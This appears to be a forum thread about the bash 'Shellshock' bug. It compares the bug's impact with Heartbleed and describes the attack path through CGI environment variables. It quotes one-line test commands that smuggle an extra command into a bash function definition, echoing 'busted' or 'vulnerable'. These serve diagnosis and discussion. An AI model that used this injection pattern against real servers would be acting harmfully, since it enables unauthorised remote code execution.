This is definitely a serious bug. Any remote code execution is a top priority. But i've never seen a bug like Heartbleed before, and it's unlikely we ever will again, as (hopefully?) it will change the way forward services are deployed to implement proper memory protection between transport and application layers. Compared to exposing the personal information (and secured keys) of so many users and domains, just executing code on miscellaneous servers seems cute in comparison.
"Legacy CGI" might be discussed as a clear-and-easy example but this will impact many, many other systems.
This bash bug lets you run code, but on a much smaller number of servers, without an immediate impact on the world's most important services, and won't give up things like ssl keys without a local privilege escalation. It's much, much more limited in the scope of the immediate threat. It's still an immediate threat. I'm just saying it is nothing compared to Heartbleed.
env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.
Or is this bug more serious?
1. Invoke bash somewhere in the call stack
2. Pass request data via environment variables
CGI / Apache / httpd is the obvious vector, but don't be lured into complacency.
Here's one scenario:
1. A webserver may set environment variables passed to it from a URL perhaps.
2. Malicious users could craft a URL that set environment variables containing bash commands that do nefarious things.
3. The next time bash is launched (either by a human or programmatically) those nefarious commands are executed perhaps with root privileges.
Give me servers running under JVM that do the focused few things they do very, very well.
Also this test for vulnerability seems more accurate:
x='() { :;}; echo vulnerable' bash
» V='() { :; }; echo busted' zsh -c "echo hi"
hi
» V='() { :; }; echo busted' bash -c "echo hi"
busted
hi